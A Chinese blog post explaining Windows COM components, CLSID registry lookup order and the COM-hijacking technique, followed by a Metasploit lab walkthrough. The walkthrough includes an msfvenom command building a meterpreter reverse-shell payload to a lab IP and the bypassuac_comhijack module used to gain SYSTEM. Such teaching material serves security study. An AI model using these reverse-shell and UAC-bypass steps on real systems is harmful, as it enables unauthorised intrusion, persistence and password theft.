什么是com
com是Component Object Model(组件对象模型)的缩写
come是微软公司未来计算机工业的软件生产更符合人类的行为方式开发的一种新的软件开发技术。在com架构下,人们可以开发各种各样的功能专一的组件,
然后将他们安装需要组合起来,构成复杂的应用系统
在这里插入图片描述

这里不得不说一下CLSID
CLSID(Class Identifier)全局唯一标识符,CLSID是指windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系组件分配的一个唯一表示他的ID代码,
用来对其身份的标识和其他对象进行区分
com组件加载的过程

1:HKCU\Software\Classes\CLSID
2:HKCR\CLSID
3:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\

只要是调用windowAPI的,在底层上都会调用com组件,window由很多组件组成的,并不是api组成的,api也会调用一些组件,这些组件就是com组件

com组件劫持原理

当进程寻找com组件时,首先会寻找:
HKCU\Software\Classes\CLSID
我们直接在CLSID下面新建一个对象ID,就能够劫持某个进程或多个进程
与dll劫持原理相近,但是com组件的劫持可以拓展很多东西,劫持的目标不一定是一个进程,劫持所需的文件不一定是一个dll,
他可以是一个 .com文件、二进制PE文件、Dll文件、劫持的目标也可以是一个Window API

msf BypassUAC案例

首先生成shellcode,放入win7中执行
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.17.177 LPORT=4444 -f exe > payload.exe

在这里插入图片描述
获得监听后,这里我们看到getsystem失败,这时候我们用com劫持bypassUAC

使用bypassuac_comhijack 利用代码,设置监听,但是这里只适用于64位系统
use exploit/windows/local/bypassuac_comhijack 
set payload windows/x64/meterpreter/reverse_tcp

在这里插入图片描述
设置成功之后,我们运行

在这里插入图片描述

run后,他会修改那个注册表,图中{}的部分
然后把这个注册表修改成什么值,图中为我们生成的dll文件,并且上传到目标机器
最后成功获得system
之后就可以提权,维持,抓密码等操作

原理为com组件劫持事件查询器eventvwr.exe或者控制台mmc.exe,将他们的CLSID替换为我们生成的,意思是打开事件查询器(劫持的程序),就会自动调用这个CLSID组件里面的某个注册表项,然后会把注册表项中的dll加载到事件查看器的内存空间。执行了dll中的shellcode,就会反弹回来会话了

posted on 2022-09-13 18:14  noone52  阅读(178)  评论(0编辑  收藏  举报